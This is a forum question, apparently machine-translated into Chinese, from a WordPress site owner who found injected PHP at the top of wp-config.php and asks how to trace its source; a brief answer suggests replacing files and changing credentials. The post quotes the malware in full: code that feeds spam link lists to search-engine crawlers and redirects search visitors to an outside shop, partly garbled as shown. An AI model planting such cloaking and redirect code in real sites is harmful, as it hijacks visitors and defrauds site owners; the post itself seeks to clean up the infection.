我将代码注入我的一个网站。我无法找到罪魁祸首。我使用BackupBuddy下载了该站点,它显示了注入的代码,如下所示:
<?php
$referer = $_SERVER['HTTP_REFERER'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$tmp = strtolower($_SERVER['HTTP_USER_AGENT']);
if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'bing') !== false ||
strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) {
cheongsam dress => "http://www.cozyladywear.com/qipao-cheongsam-c-87.html",
cheongsam dresses => "http://www.goodorient.com/Dresses_C115",
cheongsam style dress => "https://www.pinterest.com/explore/cheongsam-modern/",
cheongsam dress pattern => "http://www.japanesesewingbooks.com/2014/01/13/free-girls-qi-pao-chinese-dress-pattern-and-sew-along/",
dress cheongsam => "http://www.japanesesewingbooks.com/2014/01/13/free-girls-qi-pao-chinese-dress-pattern-and-sew-along/",
cheongsam dresses for sale => "http://modernqipao.com/",
red cheongsam dress => "http://redchinesedress.com/product-category/cheongsam-qipao/",
black cheongsam dress => "https://www.etsy.com/market/black_cheongsam",
cheongsam evening dress => "http://yannyexpress.com/collections/wedding-qipao-cheongsam",
cheongsam dress for sale => "http://www.dresswe.com/cheongsam-dresses-103948/",
short cheongsam dresses => "http://www.elegente.com/short-cheongsam",
cheongsam inspired dresses => "https://www.pinterest.com/friedwontons4u/the-modern-girls-guide-to-cheongsamqipao/",
lace cheongsam dress => "http://modernqipao.com/product-category/material/lace/",
silk cheongsam dress => "http://www.efushop.com/index.php/goods/category/Silk-Brocade-cheongsam",
vintage cheongsam dress => "https://www.etsy.com/market/vintage_cheongsam",
blue cheongsam dress => "http://modernqipao.com/product-tag/blue/",
purple cheongsam dress => "http://modernqipao.com/product-tag/purple-lavender-color/",
white cheongsam dress => "https://www.pinterest.com/explore/cheongsam-wedding/",
cotton cheongsam dress => "http://www.efushop.com/index.php/goods/category/Cotton-cheongsam",
cheongsam dress sewing pattern => "http://vintagepatterns.wikia.com/wiki/Category:Cheongsam",
cheongsam prom dress => "http://www.cozyladywear.com/fuchsia-fishtail-cheongsam-qipao-chinese-wedding-prom-dress-p-611.html",
cheongsam inspired dress => "https://www.etsy.com/market/qipao",
gold cheongsam dress => "http://modernqipao.com/product/gold-circled-lace-modern-mini-qipao-sexy-chinese-cheongsam-dress/",
cheongsam dinner dress => "https://www.pinterest.com/yannyexpress/wedding-qipao-cheongsam-bridal-kwa-qun-couture-eve/",
cheongsam bridesmaid dresses => "https://www.pinterest.com/explore/chinese-wedding-dresses/",
pink cheongsam dress => "http://modernqipao.com/product-tag/pink-peach-champagne/",
cheongsam short dress => "https://www.pinterest.com/cozyladywear/qipao-cheongsam/",
hot cheongsam dress => "http://www.idreammart.com/chinese-dresses/2015-hot-cheongsam-chinese-dresses.html",
cheongsam dresses uk => "http://www.kaiizhang.co.uk/",
chinese traditional dress => "https://en.wikipedia.org/wiki/Chinese_clothing",
traditional chinese dress => "http://www.travelchinaguide.com/intro/clothing/",
traditional chinese dresses => "http://www.chinatoday.com/culture/qipao/qipao.htm",
chinese dress traditional => "https://en.wikipedia.org/wiki/Cheongsam",
);
exit;
}
//
$from_search_engine = false;
$jump_referer = array('google','bing','yahoo','msn','ask','yandex','aol');
foreach($jump_referer as $ref){
$ref_rst = stripos($referer,$ref);
if($ref_rst > -1){
$from_search_engine=true;
break;
}
}
if($from_search_engine){
header("Location: http://www.acc2buy.com/");
exit;
}
?>
此代码位于wp-config.php的最顶层 - 但是,当我通过FTP登录时,此代码并不存在。因此,它会重定向所有试图通过搜索引擎访问的用户。
我如何追踪实际的注射文件?我已经GREPped所有内容,寻找对wp-config.php的任何引用。
我也开始使用index.php,并通过wp-blog-head.php和wp-load.php工作 - 我似乎无法找到它所在的位置。< / p>
先谢谢你们!
答案 0 :(得分:0)
我已检查过您的问题,有一件事只是将此文件压缩为备份,并在更改主机,用户名和密码后删除现有文件
有些时候在cpanel中查看代码时没有显示代码,所以最好的方法是在更改后上传新文件并删除旧文件
希望你能得到解决方案 随时可以询问任何与恶意软件相关的查询:)